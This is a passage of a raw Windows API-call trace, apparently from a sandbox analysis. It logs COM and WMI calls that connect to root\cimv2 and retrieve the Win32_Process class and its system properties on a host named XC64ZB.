returned 0x3 [0122.740] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x2 [0122.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0122.740] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0122.740] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.740] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d28c0) returned 0x0 [0122.740] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d28c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4e0590) returned 0x0 [0122.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0590, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511a10) returned 0x0 [0122.880] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511a10, pProxy=0x1b4e0590, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0122.880] WbemLocator:IUnknown:Release (This=0x1b511a10) returned 0x1 [0122.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0590, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511a58) returned 0x0 [0122.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0590, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511a10) returned 0x0 [0122.880] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511a10, pProxy=0x1b4e0590, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0122.880] WbemLocator:IUnknown:Release (This=0x1b511a10) returned 0x2 [0122.880] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x1 [0122.880] CoTaskMemFree (pv=0x1b461850) [0122.881] WbemLocator:IUnknown:Release (This=0x1b4d28c0) returned 0x0 [0122.881] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0590, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511a58) returned 0x0 [0122.881] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0122.886] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0122.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0590, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0122.960] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0122.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0122.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0122.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511938) returned 0x0 [0122.960] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511938, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.960] WbemLocator:IUnknown:Release (This=0x1b511938) returned 0x3 [0122.960] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0122.961] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0122.961] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511a20) returned 0x0 [0122.961] WbemLocator:IRpcOptions:Query (in: This=0x1b511a20, pPrx=0x1b511a58, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0122.961] WbemLocator:IUnknown:Release (This=0x1b511a20) returned 0x3 [0122.961] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0122.961] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0122.961] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0122.961] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4e0590) returned 0x0 [0122.961] WbemLocator:IUnknown:AddRef (This=0x1b4e0590) returned 0x4 [0122.961] WbemLocator:IUnknown:Release (This=0x1b4e0590) returned 0x3 [0122.961] WbemLocator:IUnknown:Release (This=0x1b4e0590) returned 0x2 [0122.961] SysStringLen (param_1=0x0) returned 0x0 [0122.962] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0122.962] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0122.962] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.962] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0122.962] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0122.962] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511a58) returned 0x0 [0122.962] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0122.962] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0122.962] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0122.962] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0122.963] IWbemServices:GetObject (in: This=0x1b4e0590, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d6eb0, ppCallResult=0x0) returned 0x0 [0122.977] IWbemClassObject:Get (in: This=0x1b4d6eb0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0122.977] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0122.977] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0122.977] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0122.977] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0122.977] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0122.977] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.978] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d2dc0) returned 0x0 [0122.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2dc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0122.978] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2dc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4afd60) returned 0x0 [0122.978] WbemDefPath:IUnknown:Release (This=0x1b4d2dc0) returned 0x0 [0122.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4afd60) returned 0x0 [0122.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0122.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0122.979] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0122.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0122.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0122.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2960) returned 0x0 [0122.979] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2960, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.979] WbemDefPath:IUnknown:Release (This=0x1b4d2960) returned 0x3 [0122.979] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0122.979] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0122.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0122.979] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0122.979] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0122.979] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0122.979] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0122.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4afd60) returned 0x0 [0122.979] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0122.979] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0122.979] WbemDefPath:IWbemPath:SetText (This=0x1b4afd60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0122.979] IWbemClassObject:Get (in: This=0x1b4d6eb0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0122.979] SysStringByteLen (bstr="XC64ZB") returned 0xc [0122.979] SysStringByteLen (bstr="XC64ZB") returned 0xc [0122.980] IWbemClassObject:Get (in: This=0x1b4d6eb0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0122.980] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0122.980] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0122.980] IWbemClassObject:Get (in: This=0x1b4d6eb0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0122.980] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0122.980] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0122.980] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.980] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0122.980] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.980] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.983] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d27c0) returned 0x0 [0122.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d27c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.983] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d27c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afe20) returned 0x0 [0122.983] WbemDefPath:IUnknown:Release (This=0x1b4d27c0) returned 0x0 [0122.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afe20) returned 0x0 [0122.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.983] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0122.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2b20) returned 0x0 [0122.984] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.984] WbemDefPath:IUnknown:Release (This=0x1b4d2b20) returned 0x3 [0122.984] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.984] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.984] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0122.984] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0122.984] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.984] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afe20) returned 0x0 [0122.984] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0122.984] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0122.984] WbemDefPath:IWbemPath:SetText (This=0x1b4afe20, uMode=0x4, pszPath="") returned 0x0 [0122.984] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, 